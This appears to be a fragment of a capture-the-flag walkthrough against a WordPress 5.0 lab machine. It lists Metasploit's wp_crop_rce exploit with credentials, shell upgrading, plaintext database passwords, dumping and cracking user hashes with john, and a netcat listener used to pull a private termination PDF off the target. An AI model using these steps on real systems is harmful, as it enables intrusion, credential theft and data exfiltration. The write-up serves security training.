After logging in the user couldn't really do anything but I noticed wordpress is on version 5.0
Initial Shell
Kali
msfconsole
use exploit/multi/http/wp_crop_rce
set rhosts $VICTIM
set username kwheel
set password cutiepie1
run
shell
python2 -c 'import pty; pty.spawn("/bin/bash")'
id
Victim
grep -i pass *
Victim
mysql -u wordpressuser -p
Password: LittleYellowLamp90!@
show databases;
use blog;
show tables;
select * from wp_users;
Tried brute forcing the hashes, we got the password for kwheel again but they aren't a user on the actual server. bjoel I wasn't able to bruteforce.
Kali
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Found a pdf in bjoels home directory, after opening it up it looks like he was fired so his account is most likely locked anyways so there may be no point trying to break into it.
Kali(receiving)
cd /home/bjoel
nc -l -p 1234 > Billy_Joel_Termination_May20-2020.pdf
